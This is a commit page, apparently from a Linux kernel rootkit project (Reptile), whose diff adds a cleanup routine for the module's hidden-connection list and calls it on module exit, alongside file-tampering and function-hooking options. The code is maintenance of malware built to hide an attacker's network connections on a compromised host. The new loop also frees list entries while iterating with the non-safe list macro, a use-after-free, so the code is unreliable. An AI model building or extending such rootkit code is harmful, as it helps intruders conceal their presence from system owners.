修复网络隐藏连接功能中的内存泄漏

main^2
waiwai 2 months ago
parent 14d85647fc
commit 5f54432441

@ -9,4 +9,5 @@ extern struct list_head hidden_conn_list;
void network_hide_add(struct sockaddr_in addr);
void network_hide_remove(struct sockaddr_in addr);
//void hide_conn(char *ip_str);
void network_hide_cleanup(void);
//void hide_conn(char *ip_str);

@ -470,6 +470,11 @@ static void __exit reptile_exit(void)
#ifdef CONFIG_FILE_TAMPERING
while(atomic_read(&read_on) != 0) schedule();
#endif
#ifdef CONFIG_HIDE_CONN
network_hide_cleanup();
#endif
khook_cleanup();
}

@ -35,6 +35,17 @@ void network_hide_remove(struct sockaddr_in addr)
}
}
void network_hide_cleanup(void)
{
struct hidden_conn *hc;
list_for_each_entry(hc, &hidden_conn_list, list)
{
list_del(&hc->list);
kfree(hc);
}
}
// 检查一个地址是否被隐藏
int is_addr_hidden(struct sockaddr_in addr)
{

Loading…
Cancel
Save